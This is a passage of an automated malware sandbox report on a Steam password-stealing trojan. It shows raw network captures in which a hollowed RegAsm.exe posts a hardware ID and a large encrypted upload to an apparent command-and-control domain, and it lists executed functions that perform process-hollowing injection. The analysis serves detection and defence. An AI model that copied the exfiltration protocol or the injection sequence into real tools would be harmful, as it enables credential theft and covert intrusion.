s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8a8:,0
2024-04-19 05:22:33 UTC	826	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tul4kg4d7t00nrl27f75pdf5jj; expires=Mon, 12-Aug-2024 23:09:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cs7qMCg9%2BSMa1v%2F%2FPIZhmaM4vD9f4vdeTd%2BqMXVR%2Ba6ZC7n8UkYBuBxzN2JIVIm%2B2wFI1SbtNJKfcfjGWko%2BeFWsokx5OhtXi0NGmVzb1BQJU0pRyFEuMNKQDc%2Fs0%2BORk%2BuWP5yUfGG2ZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a751d6d0453be-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-19 05:22:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49712	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:33 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5437 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:33 UTC	5437	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 34 30 32 34 37 30 43 35 30 45 44 43 34 33 38 33 36 34 46 30 32 32 36 43 31 32 46 33 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"68402470C50EDC438364F0226C12F33D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-19 05:22:34 UTC	808	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vqoqdjacru4vh778cibkhnf7sq; expires=Mon, 12-Aug-2024 23:09:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uFdZd8vlGbqFyyFH1zrVXqGHcaew3yAZJyaCVfDnYPbYlyIP2UroX1q4L8VJ4wiUhmLFp%2FLLAIHEq4kqI5zAl6b05FTT3yKT3nM5i8sH9gsGZ1m5gIQRdD5J9w8rxC5Rzqt0a9G7x0Lfkw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a7522c8e4ada4-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-19 05:22:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49713	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:34 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1338 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:34 UTC	1338	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 34 30 32 34 37 30 43 35 30 45 44 43 34 33 38 33 36 34 46 30 32 32 36 43 31 32 46 33 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"68402470C50EDC438364F0226C12F33D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-19 05:22:35 UTC	816	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2bbl6tsesmsmr19b3hvs7nbt7s; expires=Mon, 12-Aug-2024 23:09:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=boo7AV5rCWVDk2nV1dpAtUv2%2B28Tq6ULEWuJqMpTsr5j4SIuk3cfQ1PHe8f9xSm57UaE%2BM%2BHjX9N10xUPRnHUCYocfEz019tKDa%2FHsh%2FhG3lvhBe0TaLvZm8L3XH4qdnXyQUDY5VVUsLwA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a7527be581d76-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 05:22:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-19 05:22:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49714	172.67.189.66	443	6796	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 05:22:36 UTC	290	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569033 Host: bordersoarmanusjuw.shop
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 34 30 32 34 37 30 43 35 30 45 44 43 34 33 38 33 36 34 46 30 32 32 36 43 31 32 46 33 33 44 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 0d 0a 2d 2d 62 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"68402470C50EDC438364F0226C12F33D--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl----b
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 96 d2 e0 48 58 4a 39 80 00 62 27 88 b1 87 52 24 80 d2 04 94 d5 08 67 9e 70 65 b8 0a 83 76 55 2c cc c7 c1 b2 6d d1 e1 99 62 eb fb 38 1e 3b c0 63 df 79 5b 34 08 af e8 e8 ee c6 f6 99 f2 5b fd ff 0f a2 53 0f 00 5a 71 07 98 e3 03 09 a6 94 7c 16 60 f6 f1 c1 fc 54 a5 4b 99 11 91 65 96 8b bd 99 e5 fc 10 f7 1f a2 f1 63 73 06 97 68 64 df 69 03 31 0e c9 20 de c2 21 35 d3 c9 83 0f 34 2b ae 06 9a a2 e3 76 3c 73 2a 83 14 d4 60 ca 0e 5e 89 26 d5 7f eb 43 7a 44 e2 27 04 b7 76 cb d0 9c 39 50 ec 48 4d f2 f3 e5 49 35 ee 94 56 12 a5 da 42 9e 3c 04 cb f5 96 00 1b 37 ee 74 49 29 a6 e8 1c 66 de 24 63 bb 39 c0 55 91 d5 e0 2c ca 21 ac 29 d6 f6 9a 9b 8e af 3b 2a 51 48 8c 2c 24 d1 59 d5 9c c9 5d 01 fe 7b a8 da e8 20 01 30 fd 1d bd b8 15 60 12 a8 96 cc be 61 50 88 a2 34 c5 46 a5 69 Data Ascii: HXJ9b'R$gpevU,mb8;cy[4[SZq\|`TKecshdi1 !54+v<s`^&CzD'v9PHMI5VB<7tI)f$c9U,!);QH,$Y]{ 0`aP4Fi
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: b6 63 7a 5c 1a c3 03 4e 65 44 3c 10 d5 1b ae 75 8d e4 29 61 60 b5 4d ea b4 a5 9a 88 a3 2a ff db a4 1a ab 2f 96 cf 42 68 db d0 bc d8 d4 9a 9b 2f 34 fd fb 48 a0 3a 12 54 19 35 ba 7e c4 65 d0 d5 d8 4c 24 37 95 11 7e 69 9e bc e4 62 01 07 9d 26 e3 7d 12 17 ad 55 aa 13 77 32 42 89 a6 cf 2c e2 8e a0 09 28 76 5a f1 ca 57 85 f5 3a 49 77 15 86 e1 a4 52 63 f0 34 aa b1 bc 02 f1 bc c9 f9 26 5e 02 7b d4 8a 13 6b f4 77 10 58 b4 cf 66 04 2f be fc 72 ac f4 b7 7b 61 9d e5 d9 2b 3c 5a e6 9f 39 d9 0c 0d 3e 8c 24 e7 4c 02 6f 4f 5a 7b bb 22 42 e7 fc 16 fa fb c3 66 e6 ce c6 66 cd bf d7 42 c2 bb 69 b9 ee e5 64 14 a1 ed 69 ed f7 cd 56 59 e4 7f ea bc 45 b0 08 fd b6 d1 fc a7 28 aa fe 8f 8b 1d 1d 2a 8d a1 7b 59 63 19 97 d6 89 e3 4d a8 89 cb c0 3a 9e 82 9f c3 af ca fc 2c 21 9c b9 e4 Data Ascii: cz\NeD<u)a`M/Bh/4H:T5~eL$7~ib&}Uw2B,(vZW:IwRc4&^{kwXf/r{a+<Z9>$LoOZ{"BffBidiVYE({YcM:,!
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 1f 13 ee 68 73 a8 42 ef 1a a6 1c 68 d7 b4 1f 8e 94 58 77 9a f2 62 68 c1 0a d5 9b 8c 51 14 cf 4d f4 08 59 12 2c 3b a9 a3 1a 74 bd 80 d0 05 11 b7 e8 ba a5 a7 2a a9 df dd 86 58 36 53 f9 8b 29 7f eb 33 a4 da 74 df c8 83 c1 4b 23 85 e4 f3 cb 82 c5 86 8c e1 6f 65 07 09 b5 ed 77 be 0f 23 1d f2 57 40 7d d8 55 8f 5f 43 0a 9f 86 33 ab 81 76 b8 7a f6 2e 34 ad d5 ba 64 9e b3 e9 f4 51 92 06 70 6c 57 49 89 c7 a4 c7 a3 72 47 f1 8d df ea 6a de 3b 72 9c 1e 75 1e 6b 2a 7d 20 54 18 32 e2 9b 29 71 25 96 6a 4b 87 df ba 34 5e ae 40 f6 39 6a 3a aa 93 ea de f1 8d 42 bb 2a ec 91 fc 65 de ab a3 65 93 f1 83 e4 66 1b 35 ca a9 76 7a 83 49 3f 24 e2 43 d1 62 1b 0f 6d 2c 08 30 46 df 33 78 d6 7c 03 9d b7 4a 43 2b ce 2d a5 8a bf 6b c2 2d d6 50 6b 83 9e a4 d7 b4 d7 5f 5c b8 a9 bb 5d 8b f9 Data Ascii: hsBhXwbhQMY,;tX6S)3tK#oew#W@}U_C3vz.4dQplWIrGj;ruk} T2)q%jK4^@9j:B*eef5vzI?$Cbm,0F3x\|JC+-k-Pk_\]
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: f9 b6 ef 0c 93 8c c7 db 71 a2 53 f1 aa 51 3b fa c4 07 b5 d7 db 65 88 f6 5c 93 a3 14 f6 71 5b 4f 6a 5f 4b e0 24 cd e7 cb 31 bc ef ca ae 2e 15 10 74 44 39 ad e3 49 83 59 39 ca 47 19 0d 61 15 c8 83 b0 c2 15 00 2d 61 0f b1 44 c1 0f de b6 1f c2 2d c4 60 37 ec ba 34 07 59 63 21 82 1e 89 0c 82 ae bb ab 34 f2 41 16 c0 5e 85 72 e8 f7 db 52 96 e3 94 87 67 15 1f cc a2 94 5d 86 d9 79 d0 ca 5e 21 e6 2e 4f 60 8a bd 36 82 65 ce f5 df dd bd d7 b3 33 57 bc f2 ea 6e 4c ba 5b 1d 73 3c 47 74 ca 39 21 5e 2c d8 01 2f 23 db f7 2d 09 3e be 19 bb a3 59 72 d1 49 8f 20 81 b9 10 eb d8 b7 ca 08 f4 d7 e9 9a b7 a9 b0 72 c8 ee 04 cd 8a a3 df 7f 08 27 e8 40 ba a6 2e ff 02 ed 0d d4 c6 9d 9e f1 6f 4d b6 82 28 70 4e c2 f2 9e 04 a8 22 d5 35 be 3f df 29 b4 73 f5 94 ae df d1 9f 41 a9 8b 49 a1 Data Ascii: qSQ;e\q[Oj_K$1.tD9IY9Ga-aD-`74Yc!4A^rRg]y^!.O`6e3WnL[s<Gt9!^,/#->YrI r'@.oM(pN"5?)sAI
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 87 5d 47 f9 f7 4e 30 9b 27 2a cb 9e 26 a0 d0 af 37 9e 22 3e 83 03 3c 23 40 93 c1 2c 83 d9 43 73 8f 1d 22 c3 6c 20 da f3 f2 04 96 e8 4f b8 09 16 23 1e ed 3d 0a 58 ee 36 a1 23 82 20 50 6f fd be 8c a7 7c b1 0e 01 12 80 77 c1 16 08 eb c5 10 73 47 8a a5 85 5b e9 39 0f c2 9f ae fb 85 0d 0a fa 1e 5e b6 9d af ec d9 e5 26 f1 37 eb 89 d7 d9 b1 56 74 ab 19 fe fe 7b cb 3e e0 1d c5 3f 91 a3 56 e8 24 02 dc 94 ec 06 c1 06 39 2a 40 4e 9c 7d 56 91 f1 45 fc 0b e4 1d a5 51 50 26 05 4d 77 2e c9 c6 32 7a 4a 70 b2 b9 67 10 c3 63 a2 d4 be fd dd 3b c1 e4 88 12 8e 71 5a 42 e2 4f 69 f2 3b 51 ea 09 22 71 f9 a7 54 b7 08 10 96 8e be f5 15 92 bb 5e e0 46 40 1b fc 9d 51 47 51 3b b1 a8 91 08 38 18 be 14 38 7d 24 83 ef 49 98 3d 46 f2 64 64 e1 22 37 8f d2 5a 99 0a 4d 13 97 fc be 97 f4 9d Data Ascii: ]GN0'&7"><#@,Cs"l O#=X6# Po\|wsG[9^&7Vt{>?V$9@N}VEQP&Mw.2zJpgc;qZBOi;Q"qT^F@QGQ;88}$I=Fdd"7ZM
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 97 84 e8 9e b3 89 52 ae 73 6f 9d f6 b5 87 17 ef b4 a6 af de 6c 3b 84 b9 ec 88 74 71 97 13 31 2f 56 5e 97 e0 e3 18 b5 b7 f0 b6 a9 66 9d cf cf 36 be 58 59 ba 56 5c 75 df 45 27 b2 ea ea be aa d5 6e c7 ef bb 49 2c 9a d3 38 2c 78 1f aa 79 12 f0 5a e7 f9 5b 1f 56 0f 95 e9 28 55 6a f7 a5 85 f2 e3 ee 16 59 8a ea 7f 48 9f 07 fd fb dd 2d 99 61 3f 5f 59 47 ae 3a 3d ef 1c ce 91 88 5c 7d 71 db 4b 10 26 b4 ee cc 9c 3c fd c5 c1 b4 ff 7b e9 68 aa bd e4 27 b3 ef 07 33 b2 87 e3 98 b3 57 22 4d 19 31 b2 1b 5f 85 5a 8e 2f 44 37 14 ad 35 bc 5d 6f 58 bf 37 71 c2 e9 9d 70 c8 53 1b 98 6f b9 3b 06 15 a5 aa 21 59 cd c4 6d 5c 8d 2b c4 4b 3c 03 29 a1 8e d0 c2 9e 82 6b 1b a7 fc 46 9f 54 e5 f8 06 fb 39 28 c4 5a 1d a9 de b2 0b 0f d2 78 8d 18 fb d2 f8 35 87 7e 15 97 f0 d8 50 d1 e9 ed 8f Data Ascii: Rsol;tq1/V^f6XYV\uE'nI,8,xyZ[V(UjYH-a?_YG:=\}qK&<{h'3W"M1_Z/D75]oX7qpSo;!Ym\+K<)kFT9(Zx5~P
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: a9 e1 e8 1a 53 75 d0 d1 b3 51 5d f0 d9 67 79 c2 11 8e 18 fa 7c b6 48 e3 1d 38 56 d6 64 6d b4 ba 43 55 9e 8c ed e0 87 9c 38 d0 d4 58 ba 8b 33 b0 6a b3 9c 2e 0c 24 86 60 bf 1d 94 f6 e2 fc c2 a6 27 e0 92 b7 61 6b 03 4c cd a3 b8 22 ba 4d 01 4d 96 95 20 88 2d 4f eb 0b e6 3b 37 95 1b 8b af 45 cc cf f1 98 33 22 92 b7 70 c0 4c cc 2c b3 bb 86 2a fe a8 ee dc 9c 87 67 03 d6 14 37 ae 08 e5 69 a0 c7 63 52 f8 66 2b 8e 28 ca 5f 70 89 d8 38 a7 4c 14 f8 31 70 1a db 56 6f ed 05 3b 72 f7 46 92 b5 4d be fc b8 a2 a0 b1 f8 dc 13 4a be 45 98 04 18 b4 d2 fa e0 18 a8 c6 d7 1e 86 b1 1a 76 50 20 07 33 07 fa cb 62 8d 53 b8 e7 98 19 57 d9 77 4d 09 29 98 a0 18 3a 13 10 de 93 bd f0 e9 a6 6a 1d a1 f0 f2 08 2e c4 67 f5 2b ef d6 6d 3b ed 33 ea c3 3c f0 dd 51 3f 26 80 b8 7a df f3 40 ed 70 Data Ascii: SuQ]gy\|H8VdmCU8X3j.$`'akL"MM -O;7E3"pL,*g7icRf+(_p8L1pVo;rFMJEvP 3bSWwM):j.g+m;3<Q?&z@p
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 4b b9 90 6b 0c b5 4a 94 ba 4b b0 a8 8e 87 71 cb 27 9b f0 31 7c f9 38 aa fb fa f4 5d d3 e1 c4 20 24 4f a3 39 eb e6 35 99 96 a8 c2 84 20 c4 49 c6 98 27 b3 e8 6c 42 5b 00 69 e3 57 5e 5a 97 e6 2e 42 e3 6f cb d2 4f 43 51 8b 6a af 39 62 9c 7d 4b 71 72 e9 f3 34 44 7c d6 88 65 9e 97 47 de a8 79 0d 0a 87 5b f0 ec 55 6a cc eb e0 76 4b 12 09 84 10 0e 04 3b 2f 49 cc 44 65 be 65 f6 40 45 2f 1a d4 11 a7 fa 33 4e 0b 2c ec 13 57 17 8f f9 89 c4 0d ca ca 0f 45 ad f6 1f f0 7c 87 35 55 20 2a b9 46 c6 47 be e3 1b ae 00 e9 4b b6 69 92 42 2d 45 2f db b7 78 00 3b 98 6f d0 29 36 19 de da 24 4a 25 cf ac 9d 01 6d 87 b0 b5 5c 92 f1 ab b1 11 8f c5 b5 e8 c5 54 90 7e 12 4f 33 46 2f d9 08 9a 1e e6 3b be 17 bd d4 9a a4 a9 ac d4 87 06 3c fa 20 65 5b 40 93 9c 0e ac 57 ba c4 35 7d 77 dd 51 Data Ascii: KkJKq'1\|8] $O95 I'lB[iW^Z.BoOCQj9b}Kqr4D\|eGy[UjvK;/IDee@E/3N,WE\|5U *FGKiB-E/x;o)6$J%m\T~O3F/;< e[@W5}wQ
2024-04-19 05:22:36 UTC	15331	OUT	Data Raw: 61 00 e8 7e aa 0c 27 24 59 08 f2 32 fc bc dd 25 26 fc 44 8d 37 e3 1a 06 96 fe 1b 5c 7d 12 83 c6 d6 dd ef 62 38 ea 05 0b 01 97 7d b1 5a a8 b7 84 d2 ae 78 49 a2 11 62 cb e6 cc eb dc cb 39 ad 90 26 92 fa 4a 31 5a c3 87 b0 ac c1 df 6c 40 5a d0 5c 1d a1 48 60 68 80 d8 de 59 52 35 64 28 86 ef de fe ef be f5 e5 a6 95 d9 6d 3c 35 30 6a 42 7f 68 b0 82 63 6f a7 d3 4f 02 e2 fe d8 85 2b c3 f8 8d 25 be b5 0a 06 fc 94 14 4b f0 06 08 d4 bf 7b ce 80 ce 5d f8 fd e1 3f e5 64 1f d7 ad 6a 92 11 64 23 64 f9 28 f2 77 3f 49 3a d6 89 58 00 88 bb 85 47 dc 45 97 f0 3c 25 c3 65 2e 6e c3 df 4a d3 49 21 e6 04 24 db 70 31 34 f4 89 f0 7f 64 14 6b 6f cc 65 09 ab d4 61 3b 13 f5 d8 08 23 ac 03 3f 61 fb 99 ff 46 9c 62 bc 2d ed 30 09 98 55 b0 1b 44 70 c3 8a 20 4d 0f ea e5 f7 80 9f 93 4a 1b Data Ascii: a~'$Y2%&D7\}b8}ZxIb9&J1Zl@Z\H`hYR5d(m<50jBhcoO+%K{]?djd#d(w?I:XGE<%e.nJI!$p14dkoea;#?aFb-0UDp MJ
2024-04-19 05:22:37 UTC	818	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 05:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lepfc5ai1ehppfolee8fipohj3; expires=Mon, 12-Aug-2024 23:09:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zmuMgrqn05I5EVvFvfHnT3M8fwyXf1BdETQDMGGrsL1M%2BM%2FrPMw8UcjiNAiFn4WdDl42AZ6zbO0fXhihh4uHI%2F8YLgCXD44Jus99QHhqkpNOKC1mq%2FfI%2BIOX9uSxYJN%2FMhvfEKzDcXRdzw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876a752f6a70458e-ATL alt-svc: h3=":443"; ma=86400

Target ID:	0
Start time:	07:22:28
Start date:	19/04/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe"
Imagebase:	0x3e0000
File size:	315'904 bytes
MD5 hash:	C60F5FA3A579BCA2C8C377F7E15B2221
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:22:28
Start date:	19/04/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xa30000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	41.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	28.3%
Total number of Nodes:	46
Total number of Limit Nodes:	1

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 02772565 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 027726D4
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 027726E7
Wow64GetThreadContext.KERNEL32(?,00000000), ref: 02772705
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02772729
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 02772754
WriteProcessMemory.KERNELBASE(?,00000000,?,?,00000000,?), ref: 027727AC
WriteProcessMemory.KERNELBASE(?,?,?,?,00000000,?,00000028), ref: 027727F7
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 02772835
Wow64SetThreadContext.KERNEL32(?,?), ref: 02772871
ResumeThread.KERNELBASE(?), ref: 02772880

Strings

Load, xrefs: 027725A3
GetP, xrefs: 027725E7
ress, xrefs: 027725EF
aryA, xrefs: 027725AB

Memory Dump Source

Source File: 00000000.00000002.1549443248.0000000002772000.00000040.00000800.00020000.00000000.sdmp, Offset: 02772000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2772000_SecuriteInfo.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: GetP$Load$aryA$ress
API String ID: 2687962208-977067982
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: 20d8bf3eaec2367069113a62b25dd6d0e2794e22eb7a4d583af58801af730b63
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: 3BB1E57660024AAFDB60CF68CC80BDA77A5FF88714F158164EA18AB342D774FA418B94

Uniqueness

Uniqueness Score: -1.00%

Function 00D80A31 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 483
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(03773584,?,?,?), ref: 00D80FC9

Strings

0, xrefs: 00D80B43

Memory Dump Source

Source File: 00000000.00000002.1549111349.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d80000_SecuriteInfo.jbxd

Similarity

API ID: ProtectVirtual
String ID: 0
API String ID: 544645111-4108050209
Opcode ID: db61979bc98816b8b67f71ce591b0c42558b7ddcb3cc1e56add47fdf66afe5ea
Instruction ID: e9ab6edd08353bb7349c7a37847b74730ad62c9d433d9dd8cce5613bc531f0b6
Opcode Fuzzy Hash: db61979bc98816b8b67f71ce591b0c42558b7ddcb3cc1e56add47fdf66afe5ea
Instruction Fuzzy Hash: 9612BD319042558FCB05DFA9C480AADFFF2AF49310F59C599E498AB252C730FD85CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D81011 Relevance: 1.6, APIs: 1, Instructions: 69
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateRemoteThread.KERNELBASE(-00000001,00000000,?,?,00000000,?,?), ref: 00D810B4

Memory Dump Source

